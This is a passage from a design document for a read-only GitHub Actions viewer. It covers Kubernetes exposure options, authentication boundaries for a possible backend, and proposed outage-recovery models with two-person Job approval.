(§8.1) | +| T, G, W, C, DR, P, DA | Question IDs in `docs/PLATFORM_RECOVERY_DISCOVERY.md` | + +--- + +## 1. Current facts (`main` at `226a5c3`) + +| Area | Fact | Source | +|---|---|---| +| App | A browser-only, read-only SPA. The tab calls `https://api.github.com` and the log host directly, with GET and HEAD only. There is no backend, database or background service | ARCHITECTURE §1, §2; `src/github/transport.ts` | +| Token | A fine-grained PAT that the user pastes. It is held in one module variable on the main thread (`src/auth/pat-provider.ts`): never in storage, the URL, React state or the worker. It is sent only to `api.github.com` | ARCHITECTURE §7.1 | +| CSP | `connect-src 'self' https://api.github.com https://*.blob.core.windows.net`; the worker has `connect-src 'none'`. The only headers source is `tools/vite/security-headers.ts` | ARCHITECTURE §7.3, §7.4 | +| Fixture mode | Compiled out of production builds. The image serves no fixture code, and fixture paths return 404 | ARCHITECTURE §11.2, §11.14 | +| Server | `deploy/ui/server.mjs`, using `node:http` only. It serves the build's files and answers `/healthz` at the root. GET and HEAD only; any other method gets 405. A 308 redirect adds the prefix's trailing slash. Unknown paths get 404. It accepts no data, proxies nothing, terminates no TLS, and ignores forwarded headers | `deploy/ui/server.mjs` | +| Paths | One image serves `/` or a prefix such as `/gha-ui/` (`GHA_UI_BASE_PATH`). The prefix must reach the server unchanged; a proxy that strips it needs the default `/` | A12; `charts/gha-ui/README.md` | +| Chart | Deployment, a ClusterIP Service (port 80 → 8080), a ServiceAccount with no token or permissions, and a `helm test` pod. No Ingress, Gateway, NetworkPolicy, RBAC or Secret | A11; `charts/gha-ui/templates/` | +| Pod | Non-root, read-only root filesystem, all capabilities dropped, seccomp `RuntimeDefault` or a valid `Localhost` profile. Weaker values are refused by the values schema | ARCHITECTURE §7.4 | +| Network | The server needs no outbound network: the image was run with networking disabled **[O]**. The chart adds **no NetworkPolicy**, so the cluster doesn't block the pod's egress | ARCHITECTURE §7.4; `charts/gha-ui/templates/` | +| Tested access | `kubectl port-forward` to the Service on Minikube 1.38 (Podman, CRI-O, amd64), at `/` and `/gha-ui/`. Headers have **not** been verified through any Gateway, Ingress, load balancer or CDN | ARCHITECTURE §11.14 and §12 ("Headers through a proxy") | +| CI | Lint, unit, build, workflow validation, Helm chart rendering and invariants, and browser tests all passed on `226a5c3` | ROADMAP, Hosting | + +What does **not** exist: +- external access, TLS, and user authentication on the server side; +- server-side GitHub credentials and a backend API; +- scheduled Jobs, recovery packages or runbooks, and recovery execution; +- GitOps manifests. + +--- + +## 2. UI access + +The README's quick start runs the UI locally. This section is only for people who choose to host it on Kubernetes, which is an optional context. + +### 2.1 Options for reaching the UI + +| Option | What it is | Fit | +|---|---|---| +| **UA-0. `kubectl port-forward`** (current) | A per-user tunnel to the ClusterIP Service | Local checks only. HTTP on loopback; needs cluster credentials | +| **UA-1. Gateway API `HTTPRoute`** | The chart optionally renders an `HTTPRoute` that attaches to a `Gateway` the platform already runs (`parentRefs`). The chart never creates the `Gateway` | **Proposed default for shared clusters.** The Kubernetes project recommends Gateway over Ingress [Src13]. TLS, certificates and listeners stay with the platform team. Needs Gateway API CRDs and an implementation on each cluster | +| **UA-2. `Ingress`** | The chart optionally renders an `Ingress` | Widely available. The Ingress API is generally available but frozen: it will get no further changes [Src13]. Header handling depends on the controller's annotations. Reasonable only where a platform offers Ingress and not Gateway API | +| **UA-3. Service `LoadBalancer` / `NodePort`** | Already possible through values (`service.type`) | Exposes plain HTTP from the pod, because the server has no TLS. **Not acceptable** wherever a real token is typed, unless TLS terminates in front of it | +| **UA-4. Node server as reverse proxy / TLS terminator** | Extend `server.mjs` to terminate TLS or to proxy `/api` to a backend | **Not recommended.** It mixes certificate handling and proxy code into the process that serves the token page, ends A10's "files only" property, and duplicates what a Gateway does. The current server's small attack surface is a deliberate property | + +### 2.2 Root and prefix hosting through a route + +- **Root:** route `PathPrefix /` to the Service, and keep `basePath` empty. +- **Prefix:** route `PathPrefix /gha-ui/` **without** a `URLRewrite` filter, and set `basePath=/gha-ui/`. The server needs the prefix intact (A12). +- **If the platform strips the prefix,** leave `basePath` empty instead. Never combine stripping with `basePath`. +- **`/healthz`** answers at the root by design. It is used by probes inside the cluster and need not be routed externally. +- A route for `/gha-ui` (no trailing slash) reaches the server's 308 redirect, which keeps the query. Whether it does depends on how the route matches the path **[A]**. + +### 2.3 TLS and security headers + +- **TLS terminates at the Gateway listener,** with certificates from the platform: cert-manager or the cloud provider's managed certificates. Gateway → pod traffic stays HTTP inside the cluster, as now. Mesh mTLS is a platform choice, not a chart one. +- **HSTS** belongs at the TLS terminator, because the server never sees HTTPS. This is a decision: Gateway `ResponseHeaderModifier` or platform policy (§6, K-2). Support for that filter depends on the Gateway implementation **[A]**. +- **The CSP and other headers must pass through unchanged.** A Gateway, CDN or WAF that adds a second CSP, removes one, or rewrites it changes the page's protection. Before any external access is relied on: + - run `deploy/ui/check-http.ts ` through the real path, both root and prefix; + - run the browser spec (`tests/e2e/static-server.spec.ts`) against it. + + These already exist and compare against the single headers source. +- **Caching:** the server sends `no-cache` on the page and immutable caching on hashed assets. A CDN must respect these, or token-entry pages may be cached incorrectly **[A]**. + +### 2.4 Portability: Minikube, kind, AKS, EKS, GKE + +The chart stays cluster-neutral: Deployment and Service by default, with an optional `HTTPRoute` off by default. Cluster-specific pieces stay outside the chart. + +| Cluster | Gateway API source (to verify per cluster) | +|---|---| +| Minikube, kind | Install the Gateway API CRDs and one implementation, at pinned versions (for example Envoy Gateway, NGINX Gateway Fabric, Istio or Cilium). Use a self-signed or local CA certificate **[A]** | +| AKS | The managed option (Application Gateway for Containers) or an in-cluster implementation **[A]** | +| EKS | The AWS Load Balancer Controller's Gateway API support or an in-cluster implementation **[A]** | +| GKE | The built-in GKE Gateway controller **[A]** | + +**Proposed acceptance for "external access works on cluster X":** +- `check-http.ts` and the browser spec pass through the external URL at both paths; +- `helm test` passes; +- a TLS certificate is valid for the host. + +So far only Minikube has been tested, and only through port-forward **[O]**. + +--- + +## 3. Authentication boundaries + +### 3.1 Current boundary (fact) + +```mermaid +flowchart LR + U[User's browser tab
PAT in memory] -- HTTPS GET/HEAD + PAT --> GH[api.github.com] + U -- HTTPS GET, no auth --> LOG[*.blob.core.windows.net
signed log URLs] + U -- HTTP(S) GET/HEAD, no credentials --> UI[gha-ui pod
static files only] +``` + +- The UI pod is outside the token's path: it never receives the PAT, cookies or any user data. Compromising it would still matter, because it serves the code that handles the token (ARCHITECTURE §7.4, residual risks). +- GitHub enforces every permission. The app holds no credential of its own. + +### 3.2 Why a ClusterIP backend is not reachable from an ordinary browser + +A ClusterIP Service "is only reachable from within the cluster", and can be exposed through an Ingress or a Gateway [Src14]. A user's browser normally runs outside the cluster. A backend behind ClusterIP becomes reachable from it only through something that exposes it: +- a route (Gateway or Ingress); +- a `LoadBalancer` or `NodePort` Service [Src14]; +- an operator tunnel such as `kubectl port-forward` or the API server's proxy, which needs cluster credentials; +- a network where the platform makes service addresses routable from outside, which is platform-specific **[A]**. + +Any backend used from ordinary browsers therefore needs: +- **an exposure path**, which brings a public or internal hostname, TLS, and an authentication requirement; +- **a CSP change or same-origin placement.** Today `connect-src` allows `'self'`, `api.github.com` and the log host only. Serving the API under the UI's origin (for example `/gha-ui/api/` through the same Gateway) keeps `'self'` sufficient. A different origin would need the CSP widened and CORS configured. + +Adding an endpoint that accepts data also ends A10's "the server accepts nothing" property for that origin. Same-origin placement means the API and the token page share an origin, so an XSS in either affects both. + +### 3.3 Options for authenticating to a future backend + +| Option | How | Assessment | +|---|---|---| +| **BA-1. Network only** (VPN, private cluster) | No user identity | Not sufficient for anything that reads private data or acts. Identity is needed for authorization and audit | +| **BA-2. Forward the user's PAT to the backend** | The browser sends the PAT to the backend, which calls GitHub | **Reject.** It moves the token server-side (D3/U1), widens exposure (logs, memory, proxies), and makes the backend a token collector | +| **BA-3. Identity at the Gateway** (OIDC through the Gateway implementation's external auth, or an auth proxy) | The organization's IdP authenticates users. The Gateway passes a verified identity to the backend | Central and consistent for UI and API. The backend must accept identity **only** from the Gateway: strip client-supplied identity headers, and add a NetworkPolicy so only the Gateway reaches the backend | +| **BA-4. Backend-native OIDC** (SPA with PKCE, or a backend session cookie) | The backend validates IdP tokens itself | Stronger end-to-end validation, at the cost of more code. Cookies need `Secure`, `HttpOnly`, `SameSite=Strict` and CSRF protection. Tokens in memory need the same handling as the PAT | +| **BA-5. GitHub OAuth / GitHub App user tokens** | GitHub as the identity provider | Reuses GitHub permissions, but is "OAuth login" (U2, not on the roadmap) and puts GitHub credentials server-side. It also stops working during a GitHub outage (§7.2) | + +**Proposal, if a backend is ever approved (K-3):** +- user identity from the organization's IdP, through BA-3 or BA-4, with authorization by explicit group membership; +- the browser's PAT path stays as it is, separate from the backend; +- the backend gets **no** GitHub credential until a specific feature needs one. Any credential it does get is a separate decision (K-5), for example a GitHub App installation token with the minimum repository permissions. + +### 3.4 Least privilege and trust boundaries (proposed) + +- **One trust zone per component:** + - the UI pod, plus a backend if one is ever approved; + - and, outside this repository (§8.4), a read-only drift check and a recovery executor. + + Each has its own ServiceAccount, with automounted tokens off unless it calls the Kubernetes API. +- **Separate namespaces:** recovery execution runs in its own namespace, with Pod Security "restricted" and no route from the UI's namespace. It is owned by whoever owns the executor (§8). +- **NetworkPolicy:** + - the UI pod needs no egress, but the chart doesn't yet restrict it (§1); + - a backend reaches only what it calls; + - execution Jobs reach only their declared targets. + + NetworkPolicy is enforced only if the cluster's network plugin supports it **[A]**. +- **No shared Secrets** between components. Secrets come from the platform's secret store at run time and are never baked into images or bundles. + +--- + +## 4. Recovery for repository maintainers: primary direction (2026-10-29) + +**Status:** a direction to **investigate**, not a design. +- Nothing here is approved, implemented or validated. No user research has been done. +- The next step is the problem-validation study in `docs/RECOVERY_VALIDATION_STUDY.md`. +- **Notation:** [O] verified in this repository, [V] from documentation, [A] an assumption to validate, [Q] an open question. + +**Boundaries that don't change:** +- The UI stays **read-only**. It executes no workflows or recovery operations. +- It gains no write or privileged credentials, and stores or shows no secret values. +- It adds no caching, persistence, backend, scheduled job or executor. + +### 4.1 Problems maintainers may face when Actions or related services are unavailable + +All of these are **[A]**, to be tested by the study: +- **Is it GitHub or my project?** Runs queued for a long time, cancelled, or failing with runner errors look like the project's own failures. +- **Releases and publishing blocked:** packages, container images, GitHub Releases, documentation sites. +- **Merges blocked:** required checks never report, so PRs wait. +- **Missed scheduled work:** nightly builds, dependency updates and housekeeping jobs that didn't run. +- **Catch-up after recovery:** which runs to re-run, and which releases are half done (for example a tag without published packages). +- **Credentials that work only inside Actions:** publishing or deploying through GitHub's OIDC has no automatic fallback outside Actions [Src3]. How each registry handles this is study item D-3. +- **Self-hosted runner problems** in the maintainer's own setup look similar to a GitHub outage. + +### 4.2 What the UI can help with, and what it can't + +| The UI can help, read-only, whenever GitHub's API is reachable | Needs something outside GitHub Actions, run by the maintainer | +|---|---| +| Showing failed, cancelled or never-started runs in a time window, with whatever evidence the API gives, and `unknown` otherwise | Actually building, publishing or deploying while Actions is down | +| Showing **possible** missed scheduled runs (schedule versus actual runs) | The credentials for that, which stay with the maintainer and never reach the UI | +| Listing PRs waiting on checks, where the data is readable (see the permission note in §4.3) | Running workflow steps elsewhere: locally, with an emulator for the parts it supports, or on another CI service, with the limits in §7.3 | +| Linking to GitHub so the person re-runs there | — | +| Reconciling, after recovery, what happened against the run, release, deployment and artifact evidence the app already reads | — | + +**During a GitHub-wide outage the UI can show nothing [O].** It reads only GitHub's API and keeps nothing between sessions (A4). Help *during* such an outage has to be prepared in advance and live outside the UI. + +### 4.3 First capability to investigate: OI-1, outage impact and catch-up view + +A read-only view for one repository and a time window. It would show: +- **Failed and cancelled runs,** and runs that never started or started very late, with the evidence the API provides. Each is classified as supported by evidence, or **`unknown`**, never with a stated cause (the product rule, ARCHITECTURE §1). +- **Possible missed scheduled runs:** the workflow's `cron` at the default branch, compared with its `schedule` runs. A missing run is **not** proof of an outage. GitHub documents that scheduled runs can be delayed or dropped under high load, and that scheduled workflows in public repositories are disabled after 60 days without activity. So these are always labelled "possible", cause unknown (study §2, [V]). +- **PRs waiting on checks.** The app doesn't read pull-request or check data today, and requests only Actions, Contents and Metadata read access **[O]**. This part is limited to what those permissions can read. It may be available for public repositories **[A]**, and is otherwise deferred to open question Q2 (ARCHITECTURE §7.1). +- **Links to GitHub** for each run or job to re-run. The view itself changes nothing. + +**Why first:** +- it applies to any repository, public or private; +- it needs no Kubernetes, cloud account or new privileged permission; +- it fits the read-only model and the "evidence, not causes" rule; +- it extends features that already exist: run history, failure evidence, the `schedule` event filter, the workflow source view and the `unknown` status [O]. + +Whether maintainers need it is **[A]**. + +### 4.4 Possible later capability: OI-2, a "release without Actions" preparation guide + +A read-only, clearly caveated export, possibly through the existing report export. It would describe: +- a release workflow's steps at a commit, and the tool versions it pins; +- the secrets it uses, **by name only**; +- what cannot be reproduced outside GitHub (§7.3). + +**The maintainer prepares and runs everything with their own tools and credentials. The UI executes nothing.** Its main risk is looking more authoritative than it is, so it would be investigated only if the study shows the need. + +### 4.5 Constraints for public repositories and self-hosted setups + +- **Public repositories:** workflows and logs are public, but secret values never are. Exports contain secret names only, and must not suggest putting credentials in files or workflows. PRs from forks don't receive secrets. +- **No infrastructure assumed:** many maintainers have only a laptop and a browser. Nothing in §4 needs Kubernetes, a cloud account or organization tooling. +- **Permissions:** OI-1 stays within the existing read-only token set. Anything needing more (PR, check or administration data) waits for Q2. +- **External pages:** showing GitHub's status page inside the UI would need a CSP change, which would be its own decision. Linking to it doesn't. +- **Self-hosted runners:** their status may need permissions beyond the current set **[Q]**. Outages of the maintainer's own runners are a separate cause the view must not mislabel. + +### 4.6 Optional organization context (see §7–§8) + +The rest of §4 applies **only** where an organization chooses to run recovery operations on its own infrastructure, for example with Kubernetes. That context is optional and doesn't shape the product. +- §7 compares two models for it: **PACKAGE** and **RUNBOOK**. The research recommendation for that context is RUNBOOK, plus a read-only drift check (§7.6). Neither is chosen (K-6). +- The investigation UI has no part in it under any option. + +#### Separation + +```mermaid +flowchart TB + subgraph here[This repository - exists today] + UI[gha-ui pod
read-only investigation UI] + end + subgraph outside[Outside this repository - proposed, location open Q-R1] + DC[Read-only drift check
scheduled, changes nothing] + REQ[Requester creates a suspended Job] --> APR{A different, authorized
approver resumes it} + APR --> JOB[Job runs one versioned operation] + end + UI -. no path .-> REQ + UI -. no path .-> JOB +``` + +- **The read-only UI never requests, approves, starts or executes a recovery operation.** It has no credential or route to do so, and its chart stays unchanged. +- **The drift check and the executor would live outside this repository** (§8.3, recommended, not decided). + +#### Which constraints change, under which boundary option + +| Boundary option (§8) | This project's constraints (ARCHITECTURE §2: D3 "no backend", D4 "read-only") | Recovery executor's constraints | +|---|---|---| +| **IN-REPO** | Would change. D3 and D4 would have to be revised, along with the README's public promises (§8.6) | Part of this project | +| **SIBLING** | Unchanged. This repository stays read-only with no backend | Its own repository and owners set them. It changes deployment targets, so it is not read-only | +| **PLATFORM** | Unchanged | Set by the platform team's tooling | + +#### Execution controls (proposed, untested) + +These apply to whichever location runs organization recovery. None has been implemented or tested here. + +- **Permission to create, approval, and execution are three separate things.** + - **Create:** a requester may create a Job in the execution namespace only in the **suspended** state. + - **Approve:** a *different*, authorized person approves it. + - **Execute:** the Job runs only when the approval resumes it. + + RBAC can limit who may create or update Jobs. It **cannot** by itself ensure that the approver is not the requester, so group membership alone is not two-person approval. §7.5 proposes an admission policy for that, with its known gaps and the negative tests it needs. Until those tests pass, the mechanism must not be treated as enforcing anything. +- **Identity:** a ServiceAccount used only for this purpose, holding only the permissions the target needs. Cloud credentials are short-lived (workload identity, [Src6]–[Src8]), never long-lived keys in a bundle. +- **Job settings:** + - `backoffLimit: 0`, so a failed pod is not retried. This doesn't prevent a second start: Kubernetes documents that the program "may sometimes be started twice" even then [Src10], so every operation must be safe to re-run; + - `activeDeadlineSeconds` and `ttlSecondsAfterFinished`; + - the restricted Pod Security profile, and a read-only root filesystem where the task allows; + - egress limited to the declared targets. +- **Audit:** who requested, who approved, the operation version, start and end, and the logs. These are kept outside the cluster that runs the Job. +- **Re-entry:** once GitHub is back, the change is reconciled into the normal workflow and repository history. That reconciliation is a manual step, not automated. + +--- + +## 5. Trade-offs and proposed defaults + +| Topic | Proposed default | Main alternative | Why | +|---|---|---|---| +| External access | Optional `HTTPRoute`, off by default, attached to a platform-owned `Gateway` | Optional `Ingress` | Recommended by the Kubernetes project over the frozen Ingress API [Src13]; keeps TLS and listeners with the platform; the chart stays portable | +| TLS | At the Gateway; HSTS added there | TLS in the pod | The pod stays files-only, and certificate handling stays with the platform | +| Header integrity | Verified with `check-http.ts` and the browser spec through every real access path | Trust proxy configuration | Proxies are the open risk recorded in ARCHITECTURE §12 | +| Backend | **None yet.** First decide which feature needs one, then model its threats | Build an API "for later" | A backend adds an exposed, data-accepting endpoint on the token page's origin | +| Backend identity | Organization IdP (OIDC) at the Gateway or the backend | GitHub OAuth (U2) | Works when GitHub is down, and keeps GitHub credentials out of the server | +| GitHub credentials server-side | None until a feature requires one, then a GitHub App with minimal permissions | Forwarding the user's PAT | PAT forwarding is rejected (§3.3, BA-2) | +| Recovery help for maintainers (primary) | Investigate OI-1, the read-only outage impact and catch-up view, through the validation study (§4.3) | Build nothing until the study reports | Broadly applicable; no new privileged permission; fits the read-only model. Need not yet validated | +| Recovery model (optional organization context) | RUNBOOK, plus a read-only drift check (the current research recommendation, §7.6) | PACKAGE | Designed least privilege; small review surface; the PACKAGE model reproduces only the portable part of a workflow (§7.3) | +| Recovery execution (optional organization context) | An isolated Job created suspended, resumed only by a different authorized approver. Enforcement is proposed and untested (§4.6, §7.5). No UI trigger | An "execute" button in the UI | Keeps the read-only UI read-only, with no privileged path through the page that holds a token | +| GitOps (Argo CD, Flux) | Examples only, after access is decided | Required deployment path | If the Git source is on GitHub, GitOps is unavailable during a GitHub outage, so it cannot be the recovery path | + +--- + +## 6. Decisions that need approval + +None of these is approved. +- **Decisions about this repository** (K-1 to K-5, K-8, K-9) belong to the project maintainer. Each is recorded as a new A-number in ARCHITECTURE when made. +- **Decisions about recovery help in the UI** (K-10, K-11) also belong to the project maintainer, after the validation study. +- **Decisions about running recovery operations** (K-6, K-7) apply only to the optional organization context, and depend on Q-R1. Who has authority over them is an open question for that organization (checklist DA2), as is where they are recorded (DA4). + +| ID | Decision | Proposed default | Blocks | +|---|---|---|---| +| **K-1** | External access mechanism, and whether the chart gains an optional `HTTPRoute` (and/or `Ingress`) template | Optional `HTTPRoute`, off by default | Any non-local use | +| **K-2** | Where TLS terminates, and who adds HSTS | Gateway listener; HSTS at the Gateway | K-1 | +| **K-3** | Whether a backend exists at all (revises D3), for which feature, and with which threat model | Not yet | K-4, K-5 | +| **K-4** | How users authenticate to a backend | Organization IdP via OIDC (BA-3 or BA-4) | K-3 | +| **K-5** | Whether any GitHub credential is held server-side, and in what form | None; if needed, a GitHub App with minimal permissions | K-3 | +| **K-6** | *(Optional organization context)* Recovery model (PACKAGE or RUNBOOK), its bundle format, store and signing key | Researched in §7: RUNBOOK first, with a read-only drift check. Not chosen | K-7 | +| **K-7** | *(Optional organization context)* Recovery execution controls: approval, where it runs, which targets. It changes this project's D4 only under IN-REPO (§4.6) | A suspended Job resumed by a different authorized approver, enforced by a mechanism shown to work by negative tests (§7.5). No UI trigger | — | +| **K-8** | GitOps examples (Argo CD, Flux) | After K-1; examples only | — | +| **K-10** | Whether to build OI-1, the read-only outage impact and catch-up view, and with which signals | Decide after the validation study (`docs/RECOVERY_VALIDATION_STUDY.md` §6). Existing read-only permissions only; PR and check data wait for Q2 | — | +| **K-11** | Whether to investigate OI-2, the "release without Actions" preparation guide | Only if the study shows the need; read-only export, secret names only, the UI executes nothing | K-10 | +| **K-9** | Published images: registry, digests, signing, SBOM | Needed before K-1 is used outside local development | K-1 in production | + +**Approved today, and unchanged by this document:** A10–A12 (the static image, the chart, root and prefix hosting). The app stays browser-only and read-only, with the PAT in tab memory. + +--- + +## 7. Optional organization context — research: outage-recovery execution models (2026-10-29) + +**Scope:** this section applies only where an organization wants to **run** recovery operations on its own infrastructure. That is an optional context, not the product's default audience; maintainers' needs are covered in §4. The investigation UI executes nothing in either case. + +**Status:** research and analysis only. Nothing in this section is approved, and no part of it is implemented. It compares two recovery models for decision K-6: +- **PACKAGE:** a recovery package derived from a workflow. +- **RUNBOOK:** a maintained break-glass runbook. + +### 7.1 Evidence base + +- **Repository facts [O]:** + - This repository holds a read-only UI, its image and its chart. It has no Job, CronJob, execution, packaging or signing code, and no workflow it would recover. + - Which workflows, environments and clouds would need recovery is **not known**. That is the first open question (§7.8). +- **External sources [V]** are cited as [Src1]–[Src15] and listed in §7.10. They were read on 2026-10-29. +- **Assumptions [A]** are marked where they are used. None of the mechanisms below has been tested in this project. +- **Scope note:** the README describes the project as "an open-source viewer and dashboard for GitHub Actions workflow runs, pipelines and logs" that "never changes anything". ARCHITECTURE §2 makes read-only (D4) and no backend (D3) constraints. Executing recovery operations is therefore outside the project's published scope. Where it would live is decision Q-R1 (§8). + +### 7.2 Outage scenarios + +GitHub reports Git operations, API requests, Actions, Packages and Webhooks as separate components [Src1], so outages can be partial: + +| Scenario | Available | Unavailable | Consequence | +|---|---|---|---| +| **O1. Actions execution only** | Git, API, Packages | Workflow runs. Self-hosted runners also stop receiving jobs, because they connect to GitHub for job assignments [Src2] | The source, workflow files and `ghcr.io` images can still be read; only the execution engine is missing | +| **O2. GitHub-wide** (Git, API and Actions) | Nothing on github.com | Source, workflow files, Actions, OIDC tokens from `token.actions.githubusercontent.com` [Src3], and `ghcr.io` | Everything a recovery needs must already be outside GitHub | +| **O3. Packages only** | Git, API, Actions | `ghcr.io`, GitHub package registries | Normal workflows fail if they pull from GitHub-hosted registries | + +A credible design must be **assessed** against **O2**, the worst case; O1 is only easier. Which scenarios a given operation must survive is decided per operation (`docs/PLATFORM_RECOVERY_DISCOVERY.md` §8–§9). + +### 7.3 PACKAGE: a recovery package derived from a workflow + +**Process (proposed):** while GitHub is healthy, a scheduled preparation Job does the following: +1. reads one approved workflow at one commit SHA; +2. resolves everything it references; +3. classifies each step; +4. vendors and pins the dependencies; +5. writes a signed package to a store outside GitHub. + +**Inventory it must produce:** + +| Item | What must be captured | Source of difficulty | +|---|---|---| +| Reusable workflows (`uses: ./…` or `owner/repo/…@ref`) | Each called workflow at a commit SHA, transitively, with its `with:` and `secrets:` mapping | Nesting; `secrets: inherit`; refs given as tags or branches | +| Actions | JavaScript, Docker and composite actions at full commit SHAs, vendored with their `node_modules` or image digest | Tags move; composite actions nest further actions; Docker actions may build at run time | +| Scripts | Repository files the steps run, at the same commit | Scripts that download more code at run time | +| Images | Job, service and Docker-action images, by digest, mirrored outside `ghcr.io` | `ghcr.io` is unavailable in O2 and O3 | +| Dependencies | Package-manager lockfiles, plus a vendored copy or a mirror | Package registries are separate services; whether they are reachable in an outage is unknown **[A]** | +| Secrets | Names and the scope each comes from (repository, environment, organization). **No values** | Values must come from a secret store outside GitHub at execution time | +| Permissions | The `permissions:` block (what `GITHUB_TOKEN` would have), and cloud roles reached via OIDC | `GITHUB_TOKEN` and GitHub's OIDC tokens are issued by GitHub for Actions jobs [Src3] | +| External services | Every host the steps contact | Usually found only by reading the scripts, or by observing a run | +| Target and manifest | The named environment and account; SHA-256 of every file, source commit, creation time, preparer identity, expiry | Must match what the approver approves | + +**Compatibility classes:** each step is classified as one of: +- **portable:** a plain `run:` script with pinned tools and no GitHub context; +- **translatable:** a known action replaced by a reviewed equivalent, for example a cloud login done with workload identity; +- **not reproducible:** the package is refused, and that step is listed. + +**What a package cannot claim.** Behaviour outside GitHub-hosted runners falls into three groups, and **a package must never claim equivalence**: +- **Provided by GitHub itself, so unavailable outside it:** + - runner job assignment [Src2]; + - `GITHUB_TOKEN` and the `permissions:` it carries; + - OIDC tokens from GitHub's issuer [Src3]; + - environment protection rules and reviewers. +- **Listed as unsupported by `act`,** a tool built to emulate Actions locally [Src4]: + - `concurrency`, `job.permissions`, `timeout-minutes` and `continue-on-error`; + - `job.environment` and environment-scoped secrets; + - the OIDC URL, and a complete `github` context. +- **Not validated here:** + - expressions, `needs` outputs, matrix expansion, caches, artifacts, and job and service containers; + - emulators implement parts of these, but equivalence with GitHub's behaviour is neither guaranteed nor tested in this project. + +**Arbitrary workflows cannot be assumed to run unchanged outside GitHub.** PACKAGE can only cover the portable subset, after review. + +**Verification at execution time (proposed):** +- **Integrity:** the SHA-256 of every file matches the manifest, and the manifest signature verifies with a key held outside GitHub (for example cosign with a KMS key [Src5]). Whether verification works fully offline depends on the signing setup **[A]**. +- **Provenance:** the manifest records the source repository, commit, workflow path, preparation Job identity and time. The signing identity is the preparation Job's, not a person's. +- **Freshness:** the package is refused if it is older than its expiry, or if the target environment's recorded release no longer matches the one it was prepared against (the drift check, §7.6). +- **Completeness:** there are no unresolved `uses:` references, every image has a digest and a mirror copy, every secret name maps to the secret store, and every step is portable or translatable. + +### 7.4 RUNBOOK: a maintained break-glass runbook + +**Definition:** a small, named set of recovery operations, for example "redeploy release R of service S to environment E" and "roll back E to its previous release". Each is written as a script or Kubernetes Job template that **does not depend on the GitHub Actions engine**, and is maintained and tested as a product in its own right. + +| Property | Proposal | +|---|---| +| Ownership | One named owning team per operation, recorded with the operation. Unowned operations are disabled | +| Review | Changes need review by someone other than the author. Operations live in a repository mirrored outside GitHub, so they stay readable in O2 **[A]** | +| Testing | A drill in a relevant non-production environment for every operation, plus a dry-run mode that prints the intended changes. The drill result is recorded (checklist DR1) | +| Versioning | Each operation is released as an immutable, signed bundle: an image by digest plus a manifest. Executions reference a digest, never "latest" | +| Approval | Two-person: the requester and the approver are different people, enforced by the system (§7.5, checklist C1) | +| Expiry | An operation with no passing drill within its window (for example 90 days **[A]**) is disabled until it passes again. The window is open question Q-R5 | + +**In each scenario:** +- **O1 (only Actions down):** source and metadata can still be read from GitHub, for example to confirm which release is current. That is a convenience; the operation must not need it. +- **O2 (GitHub-wide):** the operation runs from its signed bundle in a registry outside GitHub. Credentials come from cloud workload identity or the secret store, and its inputs come from the approved request. Anything an operation reads from GitHub must be optional or available from a mirror. + +### 7.5 Security and operational comparison + +| Criterion | PACKAGE | RUNBOOK | +|---|---|---| +| Credentials and least privilege | Must reproduce every permission the workflow had, often broad, without `GITHUB_TOKEN` or GitHub OIDC [Src3]. The privilege set is inherited from the workflow, not designed | Each operation gets its own ServiceAccount and cloud role, scoped to what it does. Short-lived cloud credentials via AKS Workload ID [Src6], EKS Pod Identity [Src7] or GKE Workload Identity Federation [Src8] | +| Two-person approval and audit | The same mechanism (below). Approvers also need a reviewable view of a large generated package | The same mechanism. Approvers review a small, known operation and its inputs | +| Isolation from the UI and backend | Both run in a separate namespace with its own ServiceAccount and NetworkPolicy, and with no route or credential from the UI (§4.6) | The same | +| Secret delivery | Many secrets, mapped from GitHub scopes to a secret store. Kubernetes Secrets are unencrypted in etcd by default; the mitigations are encryption at rest, least-privilege RBAC, and external stores via the Secrets Store CSI driver [Src9] | The same mechanisms, with far fewer secrets | +| Network dependencies | Every host the workflow contacts, plus mirrors for actions, images and packages | Only the operation's declared targets, its registry and its identity provider | +| Partial failure and rollback | The workflow's own error handling (`if: failure()`, `needs`) is only partly reproducible, so behaviour after a partial failure is uncertain | Each operation defines its failure states and has a paired rollback operation, both drilled | +| Idempotency and duplicates | A Job can start a program twice even with `parallelism=1`, `completions=1` and `restartPolicy: Never` [Src10]. Workflow steps are rarely written for that | Operations are written to converge to a declared state, so a re-run is safe. A deterministic Job name per approval prevents duplicate creation; a lock (for example a `Lease`) prevents concurrent runs on one target **[A]** | +| GitHub repositories or API also down (O2) | Works only if the package was prepared, mirrored and kept fresh **before** the outage | Works if the bundle, images and identity are outside GitHub. It needs nothing from GitHub at run time | +| Portability | Depends on what the workflow calls. Cloud identity differs per provider | The Job template is portable; only the identity binding differs per cloud. Minikube and kind have no cloud workload identity and are for tests only **[A]** | +| Maintenance burden | High: re-resolving actions and their transitive references, translating steps, updating mirrors, and following every change to the workflow | Proportional to the number of operations. It stays low only if the set stays small (1–3) | +| Realistic recovery objectives | Restore time includes reviewing an unfamiliar package at incident time; data is current as of the last preparation | Restore time is approval plus a drilled operation. **Measure it in drills; no target is claimed here** | + +**Two-person approval mechanism: proposed, untested [A]. The same for both models.** + +It separates three permissions. None of this has been implemented or tested, and it must not be described as enforcing anything until the negative tests below pass on a real cluster. + +1. **RBAC (necessary, not sufficient):** + - requesters may create Jobs in the execution namespace; + - approvers may update Jobs there; + - no other identity may do either. + + RBAC alone can't tell a requester from an approver on the same Job. +2. **Admission, using a ValidatingAdmissionPolicy.** These are stable since Kubernetes 1.30, and their CEL rules can read `object`, `oldObject` and `request` (including `request.userInfo`) [Src11]. + - **On CREATE of a Job:** + - require `spec.suspend: true`; + - require a `requested-by` annotation equal to `request.userInfo.username`; + - require that the Job references an approved operation version. *How that reference is checked (for example an allow-list of bundle digests as policy parameters) is not designed yet.* + - **On the UPDATE that changes `spec.suspend` from true to false:** + - require that the user differs from `requested-by`; + - require that the user belongs to the approver group. + - **On any other UPDATE of a suspended Job:** + - refuse changes to its spec, because some scheduling fields stay mutable while it is suspended [Src10]; + - refuse changes to the `requested-by` annotation. + - The policy must fail closed if it can't be evaluated **[A]**. +3. **Audit:** Kubernetes audit logging records the requests that create and resume the Job [Src12]. Managed clusters expose audit logs through the provider. + +**Known gaps:** +- **Impersonation.** An impersonated request is authorized as the impersonated user, and admission sees that user's information [Src15]. Anyone allowed to impersonate a requester or an approver can defeat the separation. Whether the audit log records the original user as well was not confirmed here **[A]**. Impersonation rights over these identities must be excluded, or treated as a bypass under checklist C7. +- **Deletion and recreation.** An approval applies to one Job object, so a recreated Job needs a new approval. Who may delete Jobs in the namespace, and whether 